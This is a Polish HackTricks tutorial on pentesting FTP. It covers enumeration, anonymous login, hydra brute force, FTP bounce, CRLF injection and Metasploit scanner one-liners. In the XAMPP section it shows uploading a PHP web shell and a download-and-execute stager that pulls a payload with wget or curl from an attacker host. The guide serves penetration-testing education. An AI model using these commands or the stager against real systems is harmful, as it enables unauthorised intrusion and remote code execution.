21 - Pentesting FTP
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
File Transfer Protocol (FTP) jest standardowym protokołem do przesyłania plików w sieci komputerowej między serwerem a klientem.
Jest to protokół plain-text, który używa jako znaku końca linii 0x0d 0x0a, więc czasami trzeba połączyć się używając telnet lub nc -C.
Domyślny port: 21
PORT STATE SERVICE
21/tcp open ftp
Połączenia Active & Passive
W Active FTP FTP client najpierw inicjuje kontrolne połączenie ze swojego portu N do portu poleceń FTP Server – port 21. Następnie client nasłuchuje na porcie N+1 i wysyła port N+1 do FTP Server. FTP Server następnie inicjuje dane połączenie, z swojego portu M na port N+1 FTP Client.
Jeśli jednak FTP Client ma skonfigurowany firewall, który kontroluje przychodzące połączenia danych z zewnątrz, to Active FTP może stanowić problem. Rozwiązaniem może być Passive FTP.
W Passive FTP, klient inicjuje kontrolne połączenie ze swojego portu N na port 21 FTP Server. Po tym klient wydaje passv comand. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. I client inicjuje dane połączenie z swojego portu P na port M FTP Server.
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
Komendy FTP debug i trace można użyć, aby zobaczyć jak przebiega komunikacja.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Połącz się z FTP za pomocą starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Nieautoryzowana enumeracja
Przy użyciu nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Możesz użyć poleceń HELP i FEAT, aby uzyskać informacje o serwerze FTP:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Logowanie anonimowe
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Tutaj znajdziesz przydatną listę domyślnych poświadczeń FTP: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automated
Sprawdzenia Anon login i bounce FTP są wykonywane domyślnie przez nmap z opcją -sC lub:
nmap --script ftp-* -p 21 <ip>
Połączenie przez przeglądarkę
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (np. Firefox) używając adresu URL takiego jak:
ftp://anonymous:anonymous@10.10.10.98
Zwróć uwagę, że jeśli web application wysyła dane kontrolowane przez użytkownika directly to a FTP server, możesz wysłać double URL encode bajty %0d%0a (w double URL encode to %250d%250a) i spowodować, że FTP server wykona dowolne akcje. Jedną z takich możliwych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na plain-text (np. http).
Pobierz wszystkie pliki z FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Jeśli twój user/password zawiera znaki specjalne, można użyć następującego polecenia:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapowany do webroot (XAMPP)
- XAMPP/ProFTPD często mapuje FTP root do
/opt/lampp/htdocs, więc słabe creds na kontach systemowych takich jakdaemonlubnobodypozwalają ci upload a PHP web shell directly into the served webroot. - Po uploadzie wywołaj architecture-aware download/exec stager przez shell, na przykład:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), który pobiera checksum-validated payload, zapisuje go (np.init_start), ustawiachmod +xi uruchamia. - Jeśli bieżący katalog nie jest zapisywalny/wykonywalny, stager wróci do
/tmp, więc po uploadzie przetestuj ścieżki webowe i uprawnienia systemu plików.
Niektóre polecenia FTP
USER usernamePASS passwordHELPSerwer wskazuje, które polecenia są obsługiwanePORT 127,0,0,1,0,80To poinformuje serwer FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (musisz ustawić 5-ty znak jako “0”, a 6-ty jako port w formie dziesiętnej lub użyć 5-ego i 6-ego, by wyrazić port w hex).EPRT |2|127.0.0.1|80|To poinformuje serwer FTP, aby nawiązał połączenie TCP (wskazane przez “2”) z IP 127.0.0.1 na porcie 80. To polecenie obsługuje IPv6.LISTWyśle listę plików w bieżącym folderzeLIST -RLista rekurencyjna (jeśli serwer na to pozwala)APPE /path/something.txtNakazuje serwerowi FTP zapisać dane otrzymane z połączenia passive lub z połączenia PORT/EPRT do pliku. Jeśli plik istnieje, dane zostaną dopisane.STOR /path/something.txtJakAPPE, ale nadpisze plikSTOU /path/something.txtJakAPPE, ale jeśli plik istnieje, nic nie zrobiRETR /path/to/fileMusi być ustanowione połączenie passive lub port. Następnie serwer FTP wyśle wskazany plik przez to połączenieREST 6Informuje serwer, że następnym razem przy użyciuRETRpowinien zacząć od 6-tego bajtuTYPE iUstaw transfer na binarnyPASVOtworzy połączenie passive i wskaże użytkownikowi, gdzie może się połączyćPUT /tmp/file.txtWgra wskazany plik na FTP
.png)
FTPBounce attack
Niektóre serwery FTP akceptują polecenie PORT. To polecenie można użyć, aby nakazać serwerowi nawiązanie połączenia z innym serwerem FTP na określonym porcie. Możesz więc użyć tego do skanowania, które porty hosta są otwarte przez serwer FTP.
Dowiedz się tutaj, jak wykorzystać serwer FTP do skanowania portów.
Możesz też nadużyć to zachowanie, aby serwer FTP wchodził w interakcję z innymi protokołami. Możesz upload a file containing an HTTP request i sprawić, że podatny serwer FTP send it to an arbitrary HTTP server (może by dodać nowego admina?), a nawet uploadować request FTP i nakłonić podatny serwer FTP do pobrania pliku z innego serwera FTP.
Teoria jest prosta:
- Wgraj request (w pliku tekstowym) na podatny serwer. Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmienić linie na
0x0d 0x0a - Użyj
REST X, aby uniknąć wysyłania znaków, których nie chcesz wysłać (może, żeby wgrać request do pliku, musiałeś dodać nagłówek obrazu na początku) - Użyj
PORT, by połączyć się z dowolnym serwerem i usługą - Użyj
RETR, by wysłać zapisany request do serwera.
Jest bardzo prawdopodobne, że to wyrzuci błąd typu Socket not writable ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane przy pomocy RETR. Sugestie, które warto spróbować, aby tego uniknąć:
- Jeśli wysyłasz request HTTP, umieść ten sam request jeden po drugim aż do osiągnięcia ~0.5MB co najmniej. Na przykład:
- Spróbuj wypełnić request “śmieciowymi” danymi zgodnymi z protokołem (mówiąc do FTP — może to być seria nieistotnych komend lub powtarzanie instrukcji
RETR, by wymusić przesłanie pliku) - Po prostu wypełnij request dużą ilością znaków null lub innych (podzielonych na linie lub nie)
W każdym razie, tutaj masz stary przykład jak nadużyć tego, by serwer FTP pobrał plik z innego serwera FTP.
Filezilla Server Vulnerability
FileZilla zwykle binds lokalnie usługę Administracyjną dla FileZilla-Server (port 14147). Jeśli potrafisz utworzyć tunnel ze swojej maszyny, aby uzyskać dostęp do tego portu, możesz połączyć się z nim używając blank password i stworzyć nowego użytkownika dla usługi FTP.
Pliki konfiguracyjne
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
Domyślna konfiguracja vsFTPd znajduje się w /etc/vsftpd.conf. Tutaj możesz znaleźć kilka niebezpiecznych ustawień:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Katalog dla anonimowych użytkowników.chown_uploads=YES- Zmienia właściciela anonimowo przesłanych plikówchown_username=username- Użytkownik, któremu nadawane jest własnictwo anonimowo przesłanych plikówlocal_enable=YES- Włącza logowanie lokalnych użytkownikówno_anon_password=YES- Nie wymaga hasła od anonimowychwrite_enable=YES- Pozwala na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
Shodan
ftpport:21
HackTricks Automatyczne polecenia
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Źródła
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


